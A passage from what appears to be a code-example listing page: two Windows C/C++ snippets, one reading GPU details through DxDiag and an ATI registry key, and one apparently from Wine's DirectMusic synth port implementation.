		llinfos << "dx_diag_rootp->GetChildContainer" << llendl;
		hr = dx_diag_rootp->GetChildContainer(L"DxDiag_DisplayDevices", &devices_containerp);
		if(FAILED(hr) || !devices_containerp)
		{
            goto LCleanup;
		}

		// Get device 0
		llinfos << "devices_containerp->GetChildContainer" << llendl;
		hr = devices_containerp->GetChildContainer(L"0", &device_containerp);
		if(FAILED(hr) || !device_containerp)
		{
            goto LCleanup;
		}
		
		// Get the English VRAM string
		std::string ram_str = get_string(device_containerp, L"szDisplayMemoryEnglish");


		// Dump the string as an int into the structure
		char *stopstring;
		ret["VRAM"] = strtol(ram_str.c_str(), &stopstring, 10);
		std::string device_name = get_string(device_containerp, L"szDescription");
		ret["DeviceName"] = device_name;
		std::string device_driver=  get_string(device_containerp, L"szDriverVersion");
		ret["DriverVersion"] = device_driver;
        
        // ATI has a slightly different version string
        if(device_name.length() >= 4 && device_name.substr(0,4) == "ATI ")
        {
            // get the key
            HKEY hKey;
            const DWORD RV_SIZE = 100;
            WCHAR release_version[RV_SIZE];

            // Hard coded registry entry.  Using this since it's simpler for now.
            // And using EnumDisplayDevices to get a registry key also requires
            // a hard coded Query value.
            if(ERROR_SUCCESS == RegOpenKey(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\ATI Technologies\\CBT"), &hKey))
            {
                // get the value
                DWORD dwType = REG_SZ;
                DWORD dwSize = sizeof(WCHAR) * RV_SIZE;
                if(ERROR_SUCCESS == RegQueryValueEx(hKey, TEXT("ReleaseVersion"), 
                    NULL, &dwType, (LPBYTE)release_version, &dwSize))
                {
                    // print the value
                    // windows doesn't guarantee to be null terminated
                    release_version[RV_SIZE - 1] = NULL;
                    ret["DriverVersion"] = utf16str_to_utf8str(release_version);

                }
                RegCloseKey(hKey);
            }
        }    
    }

LCleanup:
	SAFE_RELEASE(file_containerp);
	SAFE_RELEASE(driver_containerp);
	SAFE_RELEASE(device_containerp);
	SAFE_RELEASE(devices_containerp);
    SAFE_RELEASE(dx_diag_rootp);
    SAFE_RELEASE(dx_diag_providerp);
    
    CoUninitialize();
	return ret;
}
Esempio n. 30
0
HRESULT DMUSIC_CreateSynthPortImpl(LPCGUID guid, LPVOID *object, LPUNKNOWN unkouter, LPDMUS_PORTPARAMS port_params, LPDMUS_PORTCAPS port_caps, DWORD device)
{
    SynthPortImpl *obj;
    HRESULT hr = E_FAIL;
    int i;

    TRACE("(%s, %p, %p, %p, %p, %d)\n", debugstr_guid(guid), object, unkouter, port_params,
            port_caps, device);

    *object = NULL;

    obj = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(SynthPortImpl));
    if (!obj)
        return E_OUTOFMEMORY;

    obj->IDirectMusicPort_iface.lpVtbl = &SynthPortImpl_DirectMusicPort_Vtbl;
    obj->IDirectMusicPortDownload_iface.lpVtbl = &SynthPortImpl_DirectMusicPortDownload_Vtbl;
    obj->IDirectMusicThru_iface.lpVtbl = &SynthPortImpl_DirectMusicThru_Vtbl;
    obj->IKsControl_iface.lpVtbl = &SynthPortImpl_IKsControl_Vtbl;
    obj->ref = 0;  /* Will be inited by QueryInterface */
    obj->fActive = FALSE;
    obj->params = *port_params;
    obj->caps = *port_caps;

    hr = DMUSIC_CreateReferenceClockImpl(&IID_IReferenceClock, (LPVOID*)&obj->pLatencyClock, NULL);
    if (hr != S_OK)
    {
        HeapFree(GetProcessHeap(), 0, obj);
        return hr;
    }

    if (SUCCEEDED(hr))
        hr = CoCreateInstance(&CLSID_DirectMusicSynth, NULL, CLSCTX_INPROC_SERVER, &IID_IDirectMusicSynth, (void**)&obj->synth);

    if (SUCCEEDED(hr))
        hr = CoCreateInstance(&CLSID_DirectMusicSynthSink, NULL, CLSCTX_INPROC_SERVER, &IID_IDirectMusicSynthSink, (void**)&obj->synth_sink);

    if (SUCCEEDED(hr))
        hr = IDirectMusicSynth_SetMasterClock(obj->synth, obj->pLatencyClock);

    if (SUCCEEDED(hr))
        hr = IDirectMusicSynthSink_SetMasterClock(obj->synth_sink, obj->pLatencyClock);

    if (SUCCEEDED(hr))
        hr = IDirectMusicSynth_SetSynthSink(obj->synth, obj->synth_sink);

    if (SUCCEEDED(hr))
        hr = IDirectMusicSynth_Open(obj->synth, port_params);

    if (0)
    {
        if (port_params->dwValidParams & DMUS_PORTPARAMS_CHANNELGROUPS) {
            obj->nrofgroups = port_params->dwChannelGroups;
            /* Setting default priorities */
            for (i = 0; i < obj->nrofgroups; i++) {
                TRACE ("Setting default channel priorities on channel group %i\n", i + 1);
                obj->group[i].channel[0].priority = DAUD_CHAN1_DEF_VOICE_PRIORITY;
                obj->group[i].channel[1].priority = DAUD_CHAN2_DEF_VOICE_PRIORITY;
                obj->group[i].channel[2].priority = DAUD_CHAN3_DEF_VOICE_PRIORITY;
                obj->group[i].channel[3].priority = DAUD_CHAN4_DEF_VOICE_PRIORITY;
                obj->group[i].channel[4].priority = DAUD_CHAN5_DEF_VOICE_PRIORITY;
                obj->group[i].channel[5].priority = DAUD_CHAN6_DEF_VOICE_PRIORITY;
                obj->group[i].channel[6].priority = DAUD_CHAN7_DEF_VOICE_PRIORITY;
                obj->group[i].channel[7].priority = DAUD_CHAN8_DEF_VOICE_PRIORITY;
                obj->group[i].channel[8].priority = DAUD_CHAN9_DEF_VOICE_PRIORITY;
                obj->group[i].channel[9].priority = DAUD_CHAN10_DEF_VOICE_PRIORITY;
                obj->group[i].channel[10].priority = DAUD_CHAN11_DEF_VOICE_PRIORITY;
                obj->group[i].channel[11].priority = DAUD_CHAN12_DEF_VOICE_PRIORITY;
                obj->group[i].channel[12].priority = DAUD_CHAN13_DEF_VOICE_PRIORITY;
                obj->group[i].channel[13].priority = DAUD_CHAN14_DEF_VOICE_PRIORITY;
                obj->group[i].channel[14].priority = DAUD_CHAN15_DEF_VOICE_PRIORITY;
                obj->group[i].channel[15].priority = DAUD_CHAN16_DEF_VOICE_PRIORITY;
            }
        }
    }

    if (SUCCEEDED(hr))
        return IDirectMusicPort_QueryInterface((LPDIRECTMUSICPORT)obj, guid, object);

    if (obj->synth)
        IDirectMusicSynth_Release(obj->synth);
    if (obj->synth_sink)
        IDirectMusicSynthSink_Release(obj->synth_sink);
    if (obj->pLatencyClock)
        IReferenceClock_Release(obj->pLatencyClock);
    HeapFree(GetProcessHeap(), 0, obj);

    return hr;
}